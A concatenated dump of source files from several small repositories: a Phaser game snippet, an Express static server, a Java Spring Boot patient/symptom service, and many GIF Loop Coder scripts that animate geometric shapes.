// Ok, the Play Button has been clicked or touched, so let's stop the music (otherwise it'll carry on playing)
//this.music.stop();
// And start the actual game
this.state.start('Game');
}
};
<file_sep>var express = require('express');
var app = express();
app.use(express.static('public'));
app.listen("8080", function() {
console.log("Listening on 8080");
});
| 2db6dc67c9b1d457929104ccb44a5d015cc553c6 | [
"JavaScript"
] | 3 | JavaScript | mclubb/valentines_game | 0419fbc2fe21a4f14cc41a8a29345e0665cf82a5 | 709efafd6047a1732421c96255d07032441f7531 | |
refs/heads/master | <repo_name>ichsan-pribadi/minipro-refresh-java<file_sep>/refresh-project/src/main/java/com/example/demo/service/impl/GejalaServiceImpl.java
package com.example.demo.service.impl;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.example.demo.models.ModelGejala;
import com.example.demo.models.dto.listDto;
import com.example.demo.repositories.RepoGejala;
import com.example.demo.service.ServiceGejala;
@Service
public class GejalaServiceImpl implements ServiceGejala{
@Autowired
private RepoGejala RG;
@Override
public List<listDto> findlist() {
// TODO Auto-generated method stub
return RG.findlist();
}
@Override
public ModelGejala save(ModelGejala modelgejala) {
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/refresh-project/src/main/resources/application.properties
server.port = 8080
spring.datasource.url= jdbc:postgresql://localhost:5432/db_refresh
spring.datasource.username=postgres
spring.datasource.password=<PASSWORD>
spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.PostgreSQL95Dialect
spring.jpa.properties.hibernate.temp.use_jdbc_metadata_defaults =false
spring.jpa.show-sql= true
spring.jpa.hibernate.ddl-auto=update
<file_sep>/refresh-project/src/main/java/com/example/demo/service/ServicePasien.java
package com.example.demo.service;
import java.util.List;
import java.util.Optional;
import com.example.demo.models.ModelPasien;
public interface ServicePasien {
ModelPasien save(ModelPasien modelpasien);
List<ModelPasien>findAllPasien();
Optional<ModelPasien> findpasienByKode(String kode);
}
<file_sep>/refresh-project/src/main/java/com/example/demo/restController/RestGejala.java
package com.example.demo.restController;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.example.demo.service.ServiceGejala;
import com.example.demo.service.ServicePasien;
@RestController
@RequestMapping(path = "/api/gejala", produces = "application/json")
@CrossOrigin(origins = "*")
public class RestGejala {
@Autowired
private ServiceGejala SG;
@GetMapping("/findlist")
public ResponseEntity<?> findlist() {
return new ResponseEntity<>(SG.findlist(), HttpStatus.OK);
}
}
<file_sep>/refresh-project/src/main/java/com/example/demo/service/impl/PaseienServiceImpl.java
package com.example.demo.service.impl;
import java.util.List;
import java.util.Optional;
import org.apache.tomcat.jni.PasswordCallback;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.example.demo.models.ModelGejala;
import com.example.demo.models.ModelPasien;
import com.example.demo.repositories.RepoPasien;
import com.example.demo.service.ServicePasien;
@Service
public class PaseienServiceImpl implements ServicePasien{
@Autowired(required=true)
private RepoPasien repoPasien;
@Override
public Optional<ModelPasien> findpasienByKode(String kode) {
// TODO Auto-generated method stub
return repoPasien.findpasienByKode(kode);
}
@Override
public List<ModelPasien> findAllPasien() {
// TODO Auto-generated method stub
return repoPasien.findAllPasien();
}
@Override
public ModelPasien save(ModelPasien modelpasien) {
// TODO Auto-generated method stub
return repoPasien.save(modelpasien);
}
}
<file_sep>/refresh-project/src/main/java/com/example/demo/service/ServiceGejala.java
package com.example.demo.service;
import java.util.List;
import com.example.demo.models.ModelGejala;
import com.example.demo.models.ModelPasien;
import com.example.demo.models.dto.listDto;
public interface ServiceGejala {
List<listDto> findlist();
ModelGejala save(ModelGejala modelgejala);
}
| b91359a41678c1bb7c00721901e95055353f3e9f | [
"Java",
"INI"
] | 6 | Java | ichsan-pribadi/minipro-refresh-java | 8bd478c8460829ef06ecc90fc68cc9e4c6be7daf | 44207ee0ffec73a27461011870f9168deae85b92 | |
refs/heads/master | <repo_name>caoyujiamm/2016.10.17<file_sep>/WORK/Controllers/HomeController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace WORK.Controllers
{
public class HomeController : Controller
{
public ActionResult Index()
{
return View();
}
public ActionResult About()
{
ViewBag.Message = "Your application description page.";
return View();
}
public ActionResult Contact()
{
ViewBag.Message = "Your contact page.";
return View();
}
public ActionResult cyj ()
{
return View();
}
/// <summary>
/// 添加新闻
/// </summary>
/// <returns></returns>
public ActionResult Add ()
{
return View();
}
/// <summary>
/// 保存新闻内容
/// </summary>
/// <returns></returns>
public ActionResult Save (string title, string content)
{
ViewBag.Title = title;
ViewBag.Content = content;
return View();
}
/// <summary>
/// 新闻列表
/// </summary>
/// <returns></returns>
public ActionResult list(int page =10)
{
string[] data = new string[] { "台风“莎莉嘉”逼近广西 景区关闭学校停课" , "台风“莎莉嘉”裹挟强降雨影响海南广东广西", "受台风“彩虹”影响 广西5日风雨最强" };
ViewBag.data = data;
ViewBag.page = page;
// ViewData.Model= data;
return View();
}
}
} | 89497939b0049c5f35ac441ddc57d4fbaa3e08d9 | [
"C#"
] | 1 | C# | caoyujiamm/2016.10.17 | 2a2c1515033358689aa19c51f3c3a5058d41b2b8 | defbe2e201242cf212fac950e4d7c39a38122602 | |
refs/heads/master | <repo_name>roytanck/gifloopcoder-scripts<file_sep>/code/roy-typo.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(400, 400);
glc.setDuration(3);
glc.setFPS(20);
glc.setMode("single");
glc.setEasing(false);
glc.setMaxColors(256);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#fff8ee';
var grid = 9;
var length = Math.sqrt( Math.pow((width/grid),2) + Math.pow((width/grid),2) );
var letters = 'abcdefghijklmnopqrstuvwxyz';
for( var x=0; x<grid+2; x++ ){
for( var y=0; y<grid+2; y++ ){
var letter = letters.charAt( Math.floor( Math.random() * letters.length ) );
var offset = Math.random() * 360;
list.addText({
x: x * (width/grid) - (width/grid)/2,
y: y * (height/grid) - (height/grid)/2,
text: letter,
fontSize: getSize,
fontWeight: 'normal',
fontFamily: 'sans-serif',
fontStyle: 'normal',
rotation: [ offset, offset + 360 ],
fillStyle: color.rgba(0,0,0,0.7),
phase: (x+y)/(grid+grid)
});
}
}
function getSize( t ){
return Math.sin( t*Math.PI ) * ( 2.5 * length );
}
}<file_sep>/code/roy-silk.js
function onGLC(glc) {
glc.loop();
glc.size(600, 400);
glc.setDuration(4);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333';
var nr = 600;
var sides = 7;
var margin = -180;
for( var i=0; i<nr; i++ ){
list.addPoly({
x: i * ( (width+2*margin)/nr ) - margin,
y: function(t) {
return (height/2) + Math.cos( t*2*Math.PI ) * 10;
},
radius: function(t) {
return 100 + Math.sin( t*2*Math.PI ) * 20;
},
sides: sides,
fill: false,
stroke: true,
strokeStyle: '#efc',
lineWidth: 0.125,
rotation: function(t) {
return Math.cos( t*1*Math.PI ) * (180/sides);
},
phase: i/nr,
});
}
}
<file_sep>/code/roy-interference.js
function onGLC(glc) {
glc.loop();
glc.size( 460, 460 );
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing( false );
glc.setMaxColors( 8 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#235';
var sources = [];
var nr = 4;
var grid = 40;
var margin = 40;
var dist = ( width - (2*margin) ) / (grid - 1 );
var size = 3.5;
var maxWavelength = 360;
for( var i=0; i<nr; i++ ){
sources.push({
x: Math.random() * width,
y: Math.random() * height,
wl: ( maxWavelength/2 ) + Math.random() * (maxWavelength/2),
});
}
for( var x=0; x<grid; x++ ){
for( var y=0; y<grid; y++ ){
var c = list.addCircle({
x: margin + x * dist,
y: margin + y * dist,
fillStyle: 'white',
radius: function( t ){
var s = 0;
for( var i=0; i<sources.length; i++ ){
var sourceDist = Math.sqrt( Math.pow( Math.abs( sources[i].x - this.x ), 2 ) + Math.pow( Math.abs( sources[i].y - this.y ), 2 ) );
var wavePos = ( t + ( sourceDist % sources[i].wl ) / sources[i].wl ) * ( 2 * Math.PI );
s += ( size / sources.length ) + Math.sin( wavePos ) * ( size / sources.length );
}
return s;
},
});
}
}
}
<file_sep>/code/roy-balldance.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 400, 400 );
glc.setDuration( 0.5 );
glc.setFPS( 30 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 32 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#bbddff';
var rings = 5;
var size = 20;
var mindist = 60;
for( var r=0; r<rings; r++){
var radius = 40 + r * mindist;
var circlesize = 2 * Math.PI * radius;
var nrofdots = Math.max( Math.floor( circlesize / mindist ), 1 );
for( var i=0; i<nrofdots; i++ ){
var gradient = color.createRadialGradient( -6, -6, 0, -6, -6, 26 );
gradient.addColorStop( 0, '#ffffff' );
gradient.addColorStop( 0.8, '#667788' );
gradient.addColorStop( 1, '#4466aa' );
list.addCircle({
x: function( t ){
return (width/2) + Math.sin( (2*Math.PI) * ( ( t+this.p_nr ) / this.p_nrofdots ) ) * this.p_radius;
},
y: function( t ){
return (height/2) + -Math.cos( (2*Math.PI) * ( ( t+this.p_nr ) / this.p_nrofdots ) ) * this.p_radius;
},
radius: size,
stroke: false,
fill: true,
fillStyle: gradient,//color.rgba( 255, 255, 255, 1 ),
shadowColor: color.rgba( 0, 0, 0, 0.15 ),
shadowOffsetX: 10,
shadowOffsetY: 10,
shadowBlur: 5,
p_radius: radius,
p_nr: i,
p_nrofdots: nrofdots
});
}
}
}<file_sep>/code/iris-bolgrootte.js
€‹function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration(2);
glc.setFPS(25);
//glc.setMode('single');
//glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = 'white';
var nr = 21;
var marge = 20;
var tussenruimte = ( width - 2*marge ) / (nr-1);
for( var y=0; y<nr; y++ ){
for( var x=0; x<nr; x++ ){
list.addCircle({
x: marge + x*tussenruimte,
y: marge + y*tussenruimte,
radius: [ 4, 10 ],
//fillStyle: ['red','blue'],
fillStyle: color.animHSV( 160, 240, 1, 1, 0.9, 0.9 ),
//fillStyle: color.rgba( 30,50,70,1 ),
phase: (x+y) / (nr+nr)
//phase: Math.random()
});
}
}
}<file_sep>/code/roy-wavelines.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 300 );
glc.setDuration( 5 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 16 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 50, 40, 60, 1 );
var waves = 21;
var nr = 7;
for( var w=0; w<waves; w++ ){
for( var i=0; i<nr; i++ ){
if( i != 0 ){
list.addLine({
x0: i * ( width/nr ) - (width/nr)/3,
y0: function( t ){
return getY( t, this.nr-0.1 );
},
x1: i * ( width/nr ) + (width/nr)/3,
y1: function( t ){
return getY( t, this.nr+0.1 );
},
stroke: true,
strokeStyle: color.rgba( 255, 255, 255, 0.6 ),
lineWidth: 2,
nr: i,
phase: w / ( waves * 2.2 )
});
}
}
}
function getY( t, i ){
var y = height/2 + Math.sin( ( t + ( i / nr ) ) * 2 * Math.PI ) * 100;
return y;
}
}<file_sep>/code/roy-shapeshift.js
function onGLC(glc) {
glc.loop();
glc.size(540, 540);
glc.setDuration( 4.5 );
glc.setFPS( 30 );
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 16 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.hsv( 200, 1, 0.35 );
var r = 100;
var r2 = r/2;
var a = r * Math.sqrt(3);
var h = r/2 + r2/2;
for( var x=-1; x<8; x++ ){
var ypos = -h;
for( var y=-1; y<9; y++ ){
var oddeven = y % 2;
ypos += oddeven ? r : r2;
list.addStar({
x: x * a + ( Math.floor(y/2) % 2 ) * (a/2),
y: ypos,
//outerRadius: r,
outerRadius: function( t ){
return r + Math.abs( Math.sin( t*2*Math.PI ) * (r/6.66) );
},
innerRadius: 0,
points: 3,
stroke: true,
strokeStyle: 'white',
lineWidth: 2,
fill: false,
//blendMode: 'screen',
rotation: oddeven ? [ 90, 210 ] : [ 270, 390 ],
});
}
}
}
<file_sep>/code/roy.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 500 );
glc.setDuration( 5 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var grid = 5;
var gridSize = 40;
var maxSize = Math.sqrt( Math.pow( gridSize/2, 2 ) + Math.pow( gridSize/2, 2 ) );
var container = list.addContainer({
x: width / 2,
y: height / 2
});
for( var x=-grid; x<=grid; x++ ){
for( var y=-grid; y<=grid; y++ ){
list.addCircle({
x: x * gridSize,
y: y * gridSize,
radius: 10,
parent: container,
});
}
}
}
<file_sep>/code/roy-semicircles.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 5 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 10 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 51, 51, 51, 1 );
var grid = 4;
var padding = 20;
var gridSize = ( width - ( 2*padding ) ) /grid;
var cols = [ '#c00', '#0c0', '#00c' ];
for( var x=0; x<grid; x++ ){
for( var y=0; y<grid; y++ ){
var speeds = [1,2,3,4];
speeds.sort( function(){ return 0.5 - Math.random(); } );
for( var c=0; c<cols.length; c++ ){
list.addCircle({
x: padding + x * gridSize + gridSize/2,
y: padding + y * gridSize + gridSize/2,
radius: gridSize * 0.4,
drawFromCenter: true,
startAngle: 0,
endAngle: 180,
rotation: [ 0, 360 ],
stroke: false,
fill: true,
fillStyle: cols[c],
blendMode: 'lighter',
speedMult: speeds[c]
});
}
}
}
}<file_sep>/code/roy-soap.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 400, 400 );
glc.setDuration( 2 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 256 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#114488';
var nr = 60;
for( var i=0; i<nr; i++){
var size = 10 + Math.random() * 60;
var wavelength = 50 + Math.random() * 100;
var amplitude = 15 + Math.random() * 30;
var xpos = Math.random() * width;
list.addCircle({
x: function( t ){
var ypos = ( height+size*2 ) - t * ( height - 4*size );
return this.xpos + ( Math.sin( ypos/this.wl ) * this.amp );
},
y: [ height + size*2, -size*2 ],
radius: size,
stroke: true,
lineWidth: 1,
strokeStyle: color.rgba(255,255,255,0.5),
fill: true,
fillStyle: color.rgba(255,255,255,0.1),
wl: wavelength,
amp: amplitude,
xpos: xpos,
phase: Math.random()
});
}
}<file_sep>/code/roy-curvedlines.js
function onGLC(glc) {
glc.loop();
glc.size(700, 500);
glc.setDuration(3.5);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333';
var nr = 27;
var margin = 100;
var x0 = margin;
var x1 = 300;
var x2 = 400;
var x3 = width - margin;
var amplitude = 80;
for( var i=0; i<nr; i++ ){
var baseY = margin + i * ( ( height - ( margin*2 ) ) / (nr-1) );
list.addBezierCurve({
x0: x0,
y0: baseY,
x1: function(t){
return x1 + Math.cos( t*2*Math.PI ) * amplitude;
},
y1: function(t){
return this._baseY + Math.sin( t*2*Math.PI ) * amplitude;
},
x2: function(t){
return x2 + Math.cos( t*2*Math.PI ) * amplitude;
},
y2: function(t){
return this._baseY + Math.sin( (t+0.5)*2*Math.PI ) * amplitude;
},
x3: x3,
y3: baseY,
strokeStyle: '#fff',
lineWidth: 1.5,
phase: i/(nr*2.73),
_baseY: baseY,
});
}
}<file_sep>/code/roy-hexagon.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 600 );
glc.setDuration( 2.5 );
glc.setFPS( 30 );
glc.setMode('single');
//glc.setEasing(false);
glc.setMaxColors( 32 );
glc.setQuality( 10 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#234';
var nr = 5;
var corners = [];
var size = 10;
var dist = 50;
var c = list.addContainer({
x: width / 2,
y: height / 2,
});
list.addCircle({
x: 0,
y: 0,
radius: size,
stroke: false,
fill: true,
fillStyle: 'white',
parent: c
});
for( var n=1; n<nr; n++ ){
var rad = n * dist;
var sideDots = Math.max( 0, n - 1 );
var totalDots = 6;
totalDots += 6 * sideDots;
for( var i=0; i<6; i++ ){
corners[i] = {
x: Math.sin( (i/6) * 2*Math.PI ) * rad,
y: -Math.cos( (i/6) * 2*Math.PI ) * rad
}
}
for( var d=0; d<totalDots; d++ ){
var dir = ( n % 2 == 0 ) ? 1 : -1;
var pos = getDotPosition( rad, sideDots, totalDots, d );
var pos2 = getDotPosition( rad, sideDots, totalDots, d + dir );
list.addCircle({
x: [ pos.x, pos2.x ],
y: [ pos.y, pos2.y ],
radius: size,
stroke: false,
fill: true,
fillStyle: 'white',
parent: c
});
}
}
function getDotPosition( rad, sideDots, totalDots, d ){
if( d < 0 ){ d = totalDots+d; }
var sidePos = d / ( 1+sideDots );
var c1 = corners[ Math.floor( sidePos ) % 6 ];
var c2 = corners[ ( Math.floor( sidePos ) + 1 ) % 6 ];
var relPos = sidePos % 1;
var pos = {
x: ( (1-relPos) * c1.x ) + ( relPos * c2.x ),
y: ( (1-relPos) * c1.y ) + ( relPos * c2.y ),
};
return pos;
}
}
<file_sep>/code/roy-warp.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 400, 400 );
glc.setDuration( 5 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 8 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#335599';
var innerRadius = 40;
var outerRadius = 480;
var lines = 60;
for( var i=0; i<lines; i++ ){
list.addLine({
x0: function( t ){
return width/2 + Math.sin( ( Math.sin( t*2*Math.PI )/7 + (this.nr/lines) + t/lines ) * ( 2*Math.PI ) ) * innerRadius;
},
y0: function( t ){
return height/2 + -Math.cos( ( Math.sin( t*2*Math.PI )/3 + (this.nr/lines) + t/lines ) * ( 2*Math.PI ) ) * innerRadius;
},
x1: function( t ){
return width/2 + Math.sin( ( Math.sin( -t*2*Math.PI )/11 + (this.nr/lines) + t/lines ) * ( 2*Math.PI ) ) * outerRadius;
},
y1: function( t ){
return height/2 + -Math.cos( ( Math.sin( -t*2*Math.PI )/5 + (this.nr/lines) + t/lines ) * ( 2*Math.PI ) ) * outerRadius;
},
lineWidth: 1.5,
strokeStyle: color.rgba( 255, 255, 255, 0.5 ),
nr: i
});
}
}<file_sep>/code/roy-10kdotgrid.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration(2.5);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors(24);
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#144';
var grid = 70;
var extra = 50;
var maxDist = Math.sqrt( Math.pow( width/2 + extra, 2 ), Math.pow( height/2 + extra, 2 ) );
for( var x=0; x<grid; x++){
for( var y=0; y<grid; y++){
var xpos = x * ( width + 2*extra ) / grid - extra;
var ypos = y * ( height + 2*extra ) / grid - extra;
var xdist = xpos - width/2;
var ydist = ypos - height/2;
var dist = Math.sqrt( Math.pow( xdist, 2 ) + Math.pow( ydist, 2 ) );
list.addCircle({
x: function( t ){
return this.xpos + Math.sin( t*2*Math.PI ) * this.xdist/7;
},
y: function( t ){
return this.ypos + Math.sin( t*2*Math.PI ) * this.ydist/7;
},
radius: 1.25,
fill: true,
fillStyle: '#fff',
stroke: false,
phase: dist / maxDist,
xpos: xpos,
ypos: ypos,
xdist: xdist,
ydist: ydist,
speedMult: -1,
});
}
}
}<file_sep>/code/roy-pattern.js
function onGLC(glc) {
glc.loop();
glc.size( 480, 480 );
glc.setDuration( 2.5 );
glc.setFPS( 30 );
glc.setMode( 'single' );
//glc.setEasing( false );
glc.setMaxColors( 16 );
glc.setQuality( 5 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.hsv( 200, 0, 1 );
var margin = 80;
var grid = 10;
var dist = ( width - 2*margin ) / (grid-1);
var size = Math.sin( 0.25*Math.PI ) * (dist/2);
var dotSize = 2.5;
var positions = [];
for( var d=0; d<4; d++ ){
positions[d] = {
x: Math.sin( ( (d/4) + 0.125 ) * 2*Math.PI ) * size,
y: -Math.cos( ( (d/4) + 0.125 ) * 2*Math.PI ) * size,
}
}
for( var x=0; x<(grid*2); x++ ){
list.addRay({
x: margin + x * dist/2 - dist/4,
y: 0,
angle: 90,
length: height,
strokeStyle: 'black',
lineWidth: 0.15,
});
}
for( var y=0; y<(grid*2); y++ ){
list.addRay({
x: 0,
y: margin + y * dist/2 - dist/4,
angle: 0,
length: height,
strokeStyle: 'black',
lineWidth: 0.15,
});
}
for( var x=0; x<grid; x++ ){
for( var y=0; y<grid; y++ ){
for( var d=0; d<4; d++ ){
list.addCircle({
x: [
margin + x * dist + positions[d].x,
margin + x * dist + positions[(d+1)%4].x,
],
y: [
margin + y * dist + positions[d].y,
margin + y * dist + positions[(d+1)%4].y,
],
radius: dotSize,
fillStyle: 'black',
phase: (y/grid)/2 + (x/grid)/5
});
}
}
}
}<file_sep>/code/roy-elegance.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 400, 400 );
glc.setDuration( 5 );
glc.setFPS( 25 );
//glc.setMode( "single" );
//glc.setEasing( false );
glc.setMaxColors( 16 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#335577';
var c = list.addContainer({
x: width/2,
y: height/2,
rotation: [-20,20]
});
var prev = c;
var nr = 6;
var size = 6;
var segments = 27;
for( var a=0; a<nr; a++ ){
for( var i=0; i<segments; i++ ){
var angle = ( i==0 ) ? a * 360/nr : 0;
var prev = list.addRay({
x: size,
y: 0,
length: size,
angle: [ angle-i*1.25, angle+i*1.25 ],
lineWidth: 2,
strokeStyle: 'white',
parent: prev
});
if( i == segments-1 ){
prev = c;
}
}
}
}<file_sep>/code/roy-boxedrays.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 320 );
glc.setDuration( 1 );
glc.setFPS( 25 );
glc.setMode( 'single' );
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#135';
var nr = 51;
var size = 120;
var dist = 135;
var diagSize = Math.sqrt( Math.pow( size, 2 ) + Math.pow( size, 2 ) );
for( var j=0; j<2; j++ ){
list.addRect({
x: j ? width/2 - dist : width/2 + dist,
y: height / 2,
w: size * 2,
h: size * 2,
fill: true,
fillStyle: color.rgba( 0, 0, 0, 0.3 ),
stroke: true,
strokeStyle: color.rgba( 255, 255, 255, 0.3 ),
lineWidth: 1,
});
for( var i=0; i<nr; i++ ){
list.addRay({
x: j ? width/2 - dist : width/2 + dist,
y: height / 2,
angle: j ? [ 360, 0 ] : [ 0, 360 ],
strokeStyle: color.rgba( 255, 255, 255, 0.75 ),
length: function( t ){
var a = ( t*2*Math.PI ) % (Math.PI/2);
if( a > Math.PI/4 ){ a = (Math.PI/2) - a; }
var l = size / Math.cos( a );
return l;
},
lineWidth: 2.25,
phase: i/nr,
speedMult: 1/nr,
});
}
}
}<file_sep>/code/roy-diamonds.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode( 'single' );
glc.setEasing( false );
glc.setMaxColors( 64 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 40, 40, 40, 1 );
var sizeX = 32;
var sizeY = 48;
var gutter = 2;
var gridX = Math.ceil( width/(sizeX+gutter)/2 ) + 1;
var gridY = Math.ceil( height/(sizeY+gutter)/2 ) + 1;
for( var x=-gridX; x<gridX; x++ ){
for( var y=-gridY; y<gridY; y++ ){
var xpos = width/2 + x * ( sizeX*2 + gutter ) + ( ( y%2==0 ) ? -( sizeX + gutter/2 ) : 0 );
var ypos = height/2 + y * ( sizeY + gutter );
var dist = Math.sqrt( Math.pow( width/2-xpos, 2 ) + Math.pow( height/2-ypos, 2 ) );
list.addStar({
x: xpos,
y: ypos,
points: 2,
innerRadius: function( t ){
return Math.sin( t*Math.PI ) * sizeX;
},
outerRadius: sizeY,
stroke: false,
rotation: 22.5,
fillStyle: function(t){
if( t < 0.5 ){
var sat = 0.75 + t/2;
return color.hsv( this.frontColor, sat, 1 );
} else {
var val = 1 - (t-0.5);
return color.hsv( this.frontColor, 1, val );
}
},
phase: dist/600,
frontColor: 200,
});
}
}
}<file_sep>/code/roy-singlestar.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(400, 400);
glc.setDuration(5);
glc.setFPS(30);
glc.setMode("single");
glc.setEasing(false);
// glc.setMaxColors(256);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var maxsize = 800;
var points = 8;
list.addStar({
points: points,
x: width/2,
y: height/2,
innerRadius: [ 180, 0 ],
outerRadius: [ 0, 180 ],
rotation: [ 0, 360 ],
fill: true,
stroke: false,
fillStyle: color.animHSV(0, 60, 1, 1, 0, 1),
strokeStyle: 'rgba(0,0,100,1)',
});
}<file_sep>/code/unsuccessful/roy-lavalamp.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration( 10 );
glc.setFPS( 25 );
glc.setMode( 'single' );
glc.setEasing( false );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 50, 50, 50, 1 );
var nr = 5;
for( var n=0; n<nr; n++ ){
var maxwidth = 100 + Math.random() * 200;
var xpos = 50 + Math.random()*(width-100);
var amp = Math.random() * 150;
var offset = Math.random();
var speed = Math.ceil( Math.random() * 6 - 3 );
for( var i=0; i<height; i++ ){
list.addRect({
x: function( t ){
return this.xpos + Math.sin( t*2*Math.PI ) * this.amp;
},
y: i,
w: function( t ){
return this.maxwidth + Math.sin( t*2*Math.PI ) * this.maxwidth/2;
},
h: 1,
stroke: false,
fillStyle: color.rgba( 255, 80, 0, 0.5 ),
phase: i/height + offset,
maxwidth: maxwidth,
amp: amp,
xpos: xpos,
speedMult: speed
});
}
}
}<file_sep>/code/roy-crosswind.js
function onGLC(glc) {
glc.loop();
glc.size(600, 600);
glc.setDuration(2.5);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333';
var nr = 67;
var margin = 100;
var x0 = margin;
var x1 = width/2;
var x2 = width/2;
var x3 = width - margin;
var amplitude = 60;
for( var i=0; i<nr; i++ ){
var baseY = margin + i * ( ( height - ( margin*2 ) ) / (nr-1) );
var stepX = ( (width)-(2*x0) )/(nr-1);
var amp = amplitude * ( Math.abs( baseY-(width/2) ) / Math.abs( (width/2)-margin ) );
list.addBezierCurve({
x0: x0 + i * stepX,
y0: baseY,
x1: function(t){
return x1 + Math.cos( t*2*Math.PI ) * this._ampl;
},
y1: function(t){
return this._baseY + Math.sin( t*2*Math.PI ) * this._ampl;
},
x2: function(t){
return x2 + Math.cos( t*2*Math.PI ) * this._ampl;
},
y2: function(t){
return this._baseY + Math.sin( (t+0.37)*2*Math.PI ) * this._ampl;
},
x3: x3 - i * stepX,
y3: baseY,
strokeStyle: '#fff',
lineWidth: 1.5,
phase: i/(nr*3.73),
_baseY: baseY,
_ampl: amp
});
list.addBezierCurve({
y0: x0 + i * stepX,
x0: baseY,
y1: function(t){
return x1 + Math.cos( t*2*Math.PI ) * this._ampl;
},
x1: function(t){
return this._baseY + Math.sin( (t+0.71)*2*Math.PI ) * this._ampl;
},
y2: function(t){
return x2 + Math.cos( t*2*Math.PI ) * this._ampl;
},
x2: function(t){
return this._baseY + Math.sin( (t+0.37)*2*Math.PI ) * this._ampl;
},
y3: x3 - i * stepX,
x3: baseY,
strokeStyle: '#fff',
lineWidth: 1.5,
phase: i/(nr*4.73),
_baseY: baseY,
_ampl: amp,//amplitude - i*stepAmp
});
}
}<file_sep>/code/roy-hearts.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(400, 400);
glc.setDuration(5);
glc.setFPS(30);
// glc.setMode("single");
// glc.setEasing(false);
// glc.setMaxColors(256);
